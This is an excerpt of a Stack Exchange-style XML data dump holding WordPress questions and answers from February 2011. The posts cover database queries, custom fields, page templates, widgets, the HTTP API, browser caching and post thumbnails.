  <row Id="10081" PostTypeId="2" ParentId="10073" CreationDate="2011-02-22T15:18:14.190" Score="0" ViewCount="" Body="&lt;p&gt;If you really just want a single row, use &lt;code&gt;$wpdb-&amp;gt;get_row($sql)&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But your query looks funny...it looks like you're trying to get the latest 'client status' for the user in which case your query should be:&lt;br&gt;&#xA;&lt;code&gt;'SELECT status FROM Clients WHERE UserID = '.$current_user-&amp;gt;ID.' ORDER BY ID DESC LIMIT 1'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you do that, you can then even use &lt;code&gt;$status = $wpdb-&amp;gt;get_var($sql);&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly...did you consider using add_user_meta/get_user_meta instead? There's a lot of benefits to using the native tables and functions, such as that the records get cleaned up when you delete the user and the likes.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-22T15:18:14.190" CommentCount="1" />
  <row Id="10082" PostTypeId="1" AcceptedAnswerId="10084" CreationDate="2011-02-22T15:28:14.333" Score="0" ViewCount="79" Body="&lt;p&gt;I am trying to add up custom fields from different posts. The array I created is not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $totalpricearray = query_posts('post_type=items&amp;amp;author='.$thisauthorID.'&amp;amp;tag='.$thispostID); while (have_posts()) : the_post(); &#xA;&#xA;    $productprice = get_post_meta($post-&amp;gt;ID, &quot;productprice&quot;, true);&#xA;    $productquantity = get_post_meta($post-&amp;gt;ID, &quot;productquantity&quot;, true);&#xA;    $totalproductprice = ($productprice * $productquantity);&#xA;    echo $totalproductprice, ',';&#xA;         endwhile;&#xA;&#xA;         $totalprice = array($totalpricearray);&#xA;         echo array_sum($totalprice); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ps just noticed array is working but equals 0)&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-22T18:35:04.090" Title="Add custom fields from different posts" Tags="&lt;php&gt;&lt;custom-field&gt;&lt;array&gt;" AnswerCount="1" />
  <row Id="10083" PostTypeId="2" ParentId="10050" CreationDate="2011-02-22T15:28:40.223" Score="1" ViewCount="" Body="&lt;p&gt;In the root directory of your SVN checkout directory, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;svn revert -R &#xA;svn update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That usually will restore it to the main state.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-22T15:28:40.223" CommentCount="3" />
  <row Id="10084" PostTypeId="2" ParentId="10082" CreationDate="2011-02-22T15:38:01.000" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$totalprice_posts = get_posts('post_type=items&amp;amp;author='.$thisauthorID.'&amp;amp;tag='.$thispostID.'&amp;amp;numberposts=-1');&#xA;$totalprice_array = array();&#xA;foreach ($totalprice_posts as $post) {&#xA;    $productprice = get_post_meta($post-&amp;gt;ID, &quot;productprice&quot;, true);&#xA;    $productquantity = get_post_meta($post-&amp;gt;ID, &quot;productquantity&quot;, true);&#xA;    $totalproductprice = ($productprice * $productquantity);&#xA;    array_push($totalprice_array, $totalproductprice);&#xA;}&#xA;echo implode(',', $totalprice_array);&#xA;echo array_sum($totalprice_array);&#xA;?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-22T18:35:04.090" LastActivityDate="2011-02-22T18:35:04.090" CommentCount="14" />
  <row Id="10085" PostTypeId="1" AcceptedAnswerId="10087" CreationDate="2011-02-22T15:51:09.353" Score="0" ViewCount="101" Body="&lt;p&gt;i've got several posts which are tagged with &quot;design&quot;, but also a page called &quot;design&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my question:&#xA;i put some text into the design-page and would then display all posts which are tagged by &quot;design&quot;. how is that possible? can i put a placeholder directly into the text or do i have to code it by myself in php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-02-22T16:53:32.117" Title="newbie question: combine page + posts?" Tags="&lt;posts&gt;&lt;page&gt;&lt;tags&gt;" AnswerCount="3" />
  <row Id="10086" PostTypeId="2" ParentId="10085" CreationDate="2011-02-22T16:19:46.280" Score="0" ViewCount="" Body="&lt;p&gt;Easiest way would be to turn your 'Design' tag into a 'Design' Category and then use the Category archive page as the page by putting your page content into the Category description (although that lacks the rich text editor by default) and adjusting your theme to format it nicely.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-22T16:19:46.280" />
  <row Id="10087" PostTypeId="2" ParentId="10085" CreationDate="2011-02-22T16:24:33.777" Score="2" ViewCount="" Body="&lt;p&gt;You could easily modify the page template of your theme to include a section that reads &quot;Related Posts&quot; at the bottom and then execute a simple PHP query to get posts as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('category_name=wordpress&amp;amp;showposts=5'); ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;   &amp;lt;li&amp;gt;&#xA;      &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&#xA;      &amp;lt;?php the_title(); ?&amp;gt;&#xA;      &amp;lt;/a&amp;gt;&#xA;   &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd need to tweak the category accordingly, and you could always format the post listing the way you want.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2011-02-22T16:24:33.777" />
  <row Id="10088" PostTypeId="1" AcceptedAnswerId="24557" CreationDate="2011-02-22T16:28:40.447" Score="2" ViewCount="128" Body="&lt;p&gt;I make a GET call to API, call is supposed to return no data:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;browser (and sniffer) give me 200-OK response with &lt;code&gt;null&lt;/code&gt; text as body;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;wp_remote_get()&lt;/code&gt; gives me 200-OK response with string of &lt;strong&gt;binary garbage&lt;/strong&gt; as body.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other API requests (that are supposed to and do return non-empty data) work perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where to start poking HTTP API to figure out why it ends up with garbage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is dump of full response data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array&#xA;  'headers' =&amp;gt; &#xA;    array&#xA;      'date' =&amp;gt; string 'Tue, 22 Feb 2011 16:51:03 GMT' (length=29)&#xA;      'server' =&amp;gt; string 'Apache/2.2.3 (Red Hat)' (length=22)&#xA;      'x-powered-by' =&amp;gt; string 'PHP/5.2.16' (length=10)&#xA;      'content-encoding' =&amp;gt; string 'deflate' (length=7)&#xA;      'vary' =&amp;gt; string 'Accept-Encoding' (length=15)&#xA;      'content-length' =&amp;gt; string '17' (length=2)&#xA;      'connection' =&amp;gt; string 'close' (length=5)&#xA;      'content-type' =&amp;gt; string 'application/json; charset=utf-8' (length=31)&#xA;  'body' =&amp;gt; string 'x��+��������_' (length=17)&#xA;  'response' =&amp;gt; &#xA;    array&#xA;      'code' =&amp;gt; int 200&#xA;      'message' =&amp;gt; string 'OK' (length=2)&#xA;  'cookies' =&amp;gt; &#xA;    array&#xA;      empty&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-22T16:51:55.380" LastActivityDate="2011-07-31T21:46:21.690" Title="How do I troubleshoot responses with WP HTTP API?" Tags="&lt;http&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="10089" PostTypeId="1" AcceptedAnswerId="10094" CreationDate="2011-02-22T16:52:53.680" Score="1" ViewCount="91" Body="&lt;p&gt;In wordpress is it possible to have different widgets on different pages,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, I am having a form widget which has to be just displayed on posts page, it should just display on single.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Is their any plugin for this?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-02-22T21:16:08.460" Title="Dynamic widgets" Tags="&lt;widgets&gt;" AnswerCount="5" />
  <row Id="10090" PostTypeId="2" ParentId="10085" CreationDate="2011-02-22T16:53:32.117" Score="0" ViewCount="" Body="&lt;p&gt;Use a page template to do a regular loop, then create a new WP_Query object and fetch posts with a tag that matches the page name(ie. the slug).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's one i prepared earlier..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA;  * Template Name: Page with tagged Posts&#xA;  */&#xA;get_header();&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;?php the_post(); ?&amp;gt;&#xA;        &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&#xA;                &amp;lt;?php the_title();?&amp;gt;&#xA;            &amp;lt;/h2&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php &#xA;        $tagged_posts = new WP_Query; &#xA;        $tagged_posts-&amp;gt;query( array( 'tag__slug_in' =&amp;gt; array( $post-&amp;gt;post_name ) ) ); &#xA;&#xA;        if( $tagged_posts-&amp;gt;have_posts() ) :&#xA;            while( $tagged_posts-&amp;gt;have_posts() ) : $tagged_posts-&amp;gt;the_post();&#xA;            ?&amp;gt;&#xA;&#xA;                &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;                    &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&#xA;                        &amp;lt;?php the_title();?&amp;gt;&#xA;                    &amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;                        &amp;lt;?php the_content(); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;            endwhile;&#xA;        endif;&#xA;&#xA;        wp_reset_query();&#xA;        ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php //get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-22T16:53:32.117" />
  <row Id="10091" PostTypeId="1" AcceptedAnswerId="10095" CreationDate="2011-02-22T16:55:45.070" Score="1" ViewCount="146" Body="&lt;p&gt;If I wanted to get a custom field of the current user I would use something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo get_user_meta($user_info-&amp;gt;ID,'address_line_2',true);?&lt;/code&gt;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This time however I want the author so I tried multiple version of the following to no avail.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$thisauthorID = get_the_author_ID();&#xA;&#xA;echo get_the_author_meta($thisauthorID,'address',true)&#xA;        ;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastEditorUserId="2957" LastEditorDisplayName="" LastEditDate="2011-02-22T17:00:50.993" LastActivityDate="2011-02-22T17:06:43.667" Title="Author custom fields post meta, the code?" Tags="&lt;author&gt;&lt;custom-field&gt;&lt;usermeta&gt;" AnswerCount="1" />
  <row Id="10092" PostTypeId="2" ParentId="288" CreationDate="2011-02-22T16:57:36.003" Score="0" ViewCount="" Body="&lt;p&gt;Can the Twentyten theme be used as a 'framework' in a sense? Create a child theme of Twentyten and develop your theme from there? The Twentyten theme seems pretty solid to start with. Is there an advantage to using a framework over a parent theme like Twentyten?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-22T16:57:36.003" CommunityOwnedDate="2011-02-22T16:57:36.003" />
  <row Id="10093" PostTypeId="2" ParentId="10089" CreationDate="2011-02-22T17:01:32.020" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/dynamic-widgets/&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt; is called just like your Question title. ;-)&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-22T17:01:32.020" />
  <row Id="10094" PostTypeId="2" ParentId="10089" CreationDate="2011-02-22T17:01:44.517" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@ntechi&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Widget Logic&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-22T17:01:44.517" CommentCount="1" />
  <row Id="10095" PostTypeId="2" ParentId="10091" CreationDate="2011-02-22T17:06:43.667" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_the_author_meta()&lt;/code&gt; != &lt;code&gt;get_user_meta()&lt;/code&gt;.&lt;br&gt;&#xA;Change to:&lt;br&gt;&#xA;&lt;code&gt;echo get_the_author_meta('address', $thisauthorID);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-22T17:06:43.667" CommentCount="1" />
  <row Id="10096" PostTypeId="2" ParentId="10089" CreationDate="2011-02-22T17:15:46.207" Score="2" ViewCount="" Body="&lt;p&gt;You can do it manualy:&#xA;&lt;a href=&quot;http://www.effutio.com/web-design/using-multipledifferent-headers-sidebars-footers-and-comment-templates-in-wordpress/193/&quot; rel=&quot;nofollow&quot;&gt;http://www.effutio.com/web-design/using-multipledifferent-headers-sidebars-footers-and-comment-templates-in-wordpress/193/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or use a plugin:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/display-widgets/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/display-widgets/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-02-22T17:15:46.207" />
  <row Id="10097" PostTypeId="2" ParentId="288" CreationDate="2011-02-22T17:22:24.710" Score="0" ViewCount="" Body="&lt;p&gt;these guys have helped me out a lot (and still do) &lt;a href=&quot;http://digwp.com/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/&lt;/a&gt;&#xA;Their bookis realy handson and easy to understand &amp;amp; so is their blog!&lt;/p&gt;&#xA;" LastActivityDate="2011-02-22T17:22:24.710" CommunityOwnedDate="2011-02-22T17:22:24.710" />
  <row Id="10099" PostTypeId="1" CreationDate="2011-02-22T17:47:27.793" Score="1" ViewCount="1422" Body="&lt;p&gt;I'm working with a custom post type that uses the normal WordPress categories.&lt;br&gt;&#xA;I am able to modify my category template to display my custom post types exactly how I want them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, once I do this, normal blog posts are also affected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I can limit either normal blog posts or the post type to just one category and create a category-ID.php to work with just that category.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am wondering whether there is a more flexible solution?&lt;br&gt;&#xA;Is it possible to make category templates that are specific for post types i.e. one to show posts, one to show custom post types, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this possible at all?  If not, what is the best way around this?&lt;/p&gt;&#xA;" OwnerUserId="3403" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-02-22T18:00:58.360" LastActivityDate="2011-05-18T14:12:24.927" Title="Custom Post Types on Category Pages" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;customization&gt;" AnswerCount="4" />
  <row Id="10100" PostTypeId="2" ParentId="10021" CreationDate="2011-02-22T17:52:15.500" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;@t31os Thanks for your response. I'm&#xA;  sure it is just my browser caching the&#xA;  images. But (I should have specified)&#xA;  I'm not the only user. I'd prefer not&#xA;  to have to tell my users to refresh&#xA;  every time they delete something or&#xA;  the clunkiness of building in a page&#xA;  refresh as part of image deletion.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But, that's just why we have browser caching — to prevent the same image from loading everytime we call it again. The browser sees it as the same image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make a little workaround by calling the image like this:&#xA;&lt;a href=&quot;http://yoursite.com/images/01.jpg?v1&quot; rel=&quot;nofollow&quot;&gt;http://yoursite.com/images/01.jpg?v1&lt;/a&gt; and &lt;a href=&quot;http://yoursite.com/images/01.jpg?v2&quot; rel=&quot;nofollow&quot;&gt;http://yoursite.com/images/01.jpg?v2&lt;/a&gt; - this would load the same image 2 times.&lt;/p&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2011-02-22T17:52:15.500" />
  <row Id="10101" PostTypeId="2" ParentId="10021" CreationDate="2011-02-22T17:58:40.203" Score="2" ViewCount="" Body="&lt;p&gt;This is a browser cache issue, &lt;em&gt;not&lt;/em&gt; a WordPress media library issue.  The reason you see the old images in the media gallery is because you used the same file name and your browser is trying to save time and bandwidth by loading the versions it already has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways to solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Cache Busting&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Add a query variable (&lt;code&gt;?v=5&lt;/code&gt;) to the end of your image names as used on the front-end.  This won't affect the media gallery ... but it will prevent people from seeing cached versions of old images on the front-end.  For reference, this is the same method we use in WP core to force the browser to re-download updated JavaScript files.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;mod_expires&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can tell your server (Apache) to set a custom &quot;expires&quot; date and time for different images either based on the extension (all jpg or png files) or the filename, if you want to get really granular.  This is more of an advanced trick, but you can use this to immediately flush everyone's cache whenever you upload new images.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.justinbritten.com/work/2008/12/how-to-set-an-expires-header-in-apache/&quot; rel=&quot;nofollow&quot;&gt;How to Set an Expires Header in Apache&lt;/a&gt; (using &lt;code&gt;ExpiresByType&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://httpd.apache.org/docs/2.0/mod/mod_expires.html&quot; rel=&quot;nofollow&quot;&gt;Apache Module mod_expires reference&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-02-22T17:58:40.203" />
  <row Id="10102" PostTypeId="2" ParentId="9834" CreationDate="2011-02-22T18:02:56.127" Score="2" ViewCount="" Body="&lt;p&gt;I could be wrong, but from what I'm seeing, &quot;setup_postdata()&quot; should be used when doing a custom select query (not just query_posts):&#xA;&lt;a href=&quot;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well, if you want to use tags like &quot;the_title()&quot; and &quot;the_permalink()&quot; with that custom select query ... you'll need to use the variable name &lt;strong&gt;$post&lt;/strong&gt; specifically (not another variable name) in setup_postdata() - AS WELL - you should call &lt;strong&gt;global $post&lt;/strong&gt; before your &quot;foreach&quot; loop...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically follow that example in that codex link. And don't change the variable name $post - otherwise it breaks it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="8150" LastActivityDate="2011-02-22T18:02:56.127" />
  <row Id="10103" PostTypeId="1" AcceptedAnswerId="10107" CreationDate="2011-02-22T18:11:37.737" Score="1" ViewCount="73" Body="&lt;p&gt;in stackoverflow (&lt;a href=&quot;http://stackoverflow.com/questions/4054943/customize-wordpress-comment-post-query/&quot;&gt;here&lt;/a&gt;) there is a solution for collecting extra information from visitors, and i want to ask that, is it possible to show the collected information to other visitors in his/her comment section?&#xA;Thanks...&lt;/p&gt;&#xA;" OwnerUserId="3405" LastActivityDate="2011-02-22T18:25:46.140" Title="show the meta values to visitors that collected via coment form" Tags="&lt;3.0&gt;&lt;comments&gt;&lt;comment-meta&gt;" AnswerCount="1" />
  <row Id="10104" PostTypeId="2" ParentId="10099" CreationDate="2011-02-22T18:13:13.217" Score="1" ViewCount="" Body="&lt;p&gt;For custom post types with custom taxonomy you can make a template for that taxonomy. Your custom taxonomy template would be named &lt;code&gt;taxonomy-{taxonomy}.php&lt;/code&gt;. For example, if your taxonomy was called &quot;cooking-categories&quot; you would name your file &lt;code&gt;taxonomy-cooking-categories.php&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information on template files for special taxonomy archives can be found in the codex here: &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Custom_Taxonomies_display&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy#Custom_Taxonomies_display&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-02-22T18:13:13.217" />
  <row Id="10107" PostTypeId="2" ParentId="10103" CreationDate="2011-02-22T18:25:46.140" Score="3" ViewCount="" Body="&lt;p&gt;In the link you have provided it shows how to get the value of the &quot;collected&quot; meta using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$twitter = get_comment_meta($comment_ID,'_twitter',true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so all that is left for you to do is edit your comments loop and add the next few lines in it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$extra_field = get_comment_meta($comment_ID,'_extra_field',true);&#xA;echo $extra_field;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this Helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-22T18:25:46.140" CommentCount="1" />
  <row Id="10108" PostTypeId="2" ParentId="10038" CreationDate="2011-02-22T18:30:54.640" Score="0" ViewCount="" Body="&lt;p&gt;Alright, it’s solved. It turns out the problem is due to WordPress’ “auto-p” functionality and until/if it can be updated to recognize and ignore text inside &lt;code&gt;STYLE&lt;/code&gt; and &lt;code&gt;SCRIPT&lt;/code&gt; blocks, an easy workaround is to use the &lt;a href=&quot;http://crowdfavorite.com/wordpress/plugins/wp-unformatted/&quot; rel=&quot;nofollow&quot;&gt;WP Unformatted&lt;/a&gt; plugin which makes it easy to toggle the auto-p function on a per-post basis.&#xA;&lt;hr /&gt;&#xA;&lt;strong&gt;Update2&lt;/strong&gt;&#xA;Dang! I tried wrapping the style and script code in CDATA tags, but that didn’t work; WordPress still wraps blank-delimited blocks in &lt;code&gt;P&lt;/code&gt; tags. I guess I will have to file a report.&#xA;&lt;hr /&gt;&#xA;&lt;strong&gt;Update&lt;/strong&gt;&#xA;I just realized that the problem is that Wordpress automatically wraps blocks of code, delimited by blank lines in &lt;code&gt;P&lt;/code&gt; tags. This of course messes things up if the blank line is inside a &lt;code&gt;SCRIPT&lt;/code&gt; or &lt;code&gt;STYLE&lt;/code&gt; block.&#xA;&lt;hr /&gt;&#xA;I figured it out. I added an extra style (for IMG tags) to the top of the list and it took, but then the main table style (the only one that was working) suddenly stopped working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then put a blank line between the &lt;code&gt;STYLE&lt;/code&gt; tag and the new IMG style and it too stopped working (in other words, no styles were getting picked up). On a hunch, I removed the blank line and added a closing tag for the STYLE after the IMG’s style. Then I wrapped each set of styles in their own opening and closing &lt;code&gt;STYLE&lt;/code&gt; tags and voila! It worked! (Another option is to remove the blank lines between selectors, thus cramming everything together.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be a bug in WordPress’ parsing of posts. In fact, I came across this same bug last night in JavaScript: I tried to comment out a block of code, but found that if I had a blank line between it and the active code before it, the whole thing failed; I had to either remove the blank line or the whole commented block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These workarounds will work for now, but it’s hardly elegant. A bit of Googling on the issue finds nothing, so I’m going to check the codex, and likely end up posting a bug report at the Wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, I have to make this gaudy table look good… &lt;code&gt;:-)&lt;/code&gt;&#xA;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&#xA;Thanks for the effort everyone.&lt;/p&gt;&#xA;" OwnerUserId="121" LastEditorUserId="121" LastEditorDisplayName="" LastEditDate="2011-02-23T01:30:00.580" LastActivityDate="2011-02-23T01:30:00.580" />
  <row Id="10109" PostTypeId="1" AcceptedAnswerId="10111" CreationDate="2011-02-22T18:31:52.510" Score="1" ViewCount="167" Body="&lt;p&gt;I have a single-posttype.php and I'm trying to figure out how to display the image&lt;/p&gt;&#xA;" OwnerUserId="3226" LastActivityDate="2011-02-22T20:15:28.620" Title="how do I display a featured image in a post type?" Tags="&lt;custom-post-types&gt;" AnswerCount="2" />
  <row Id="10110" PostTypeId="2" ParentId="10099" CreationDate="2011-02-22T18:36:29.897" Score="1" ViewCount="" Body="&lt;p&gt;You can based on the post type like so:&#xA;say you have &lt;code&gt;category.php&lt;/code&gt; for regular posts and &lt;code&gt;your-custom-type-category.php&lt;/code&gt; for your custom post type posts then just add this to your regular category.php at the very top.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()){&#xA;    the_post();&#xA;    if('your_custom_type' == get_post_type( $post ) {&#xA;        rewind_posts();&#xA;        get_template_part('your-custom-type-category');&#xA;        exit();&#xA;    }&#xA;    rewind_posts();&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now when ever a category is requested it will check for your custom post type and if found it will use your &lt;code&gt;your-custom-type-category.php&lt;/code&gt; as template and all regular posts will display using &lt;code&gt;category.php&lt;/code&gt; with no change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-22T18:36:29.897" CommentCount="1" />
  <row Id="10111" PostTypeId="2" ParentId="10109" CreationDate="2011-02-22T18:40:44.500" Score="0" ViewCount="" Body="&lt;p&gt;Everything you need can be found on the Codex documentation page for post thumbnails.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Post_Thumbnails&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Post_Thumbnails&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically i think you're looking for..  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-22T18:40:44.500" CommentCount="2" />
  <row Id="10112" PostTypeId="1" CreationDate="2011-02-22T19:22:54.730" Score="1" ViewCount="460" Body="&lt;p&gt;Whilst performing wp_insert_post, how would one insert the post thumbnail. I tried the code below to no avail.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$postit = array(&#xA;    'post_title' =&amp;gt; $itemtitle,&#xA;    'post_content' =&amp;gt; '',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'post_type' =&amp;gt; 'items',&#xA;    'post_author' =&amp;gt; $user_ID,&#xA;    'tags_input' =&amp;gt; $the_post_id,&#xA;    'post_thumbnail' =&amp;gt; $itemimage,&#xA;&#xA;);&#xA; $the_post_idit = wp_insert_post( $postit);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-23T14:11:10.457" Title="WP Insert Post function - Insert Post Thumbnail" Tags="&lt;php&gt;&lt;posts&gt;&lt;post-thumbnails&gt;" AnswerCount="2" FavoriteCount="1" />
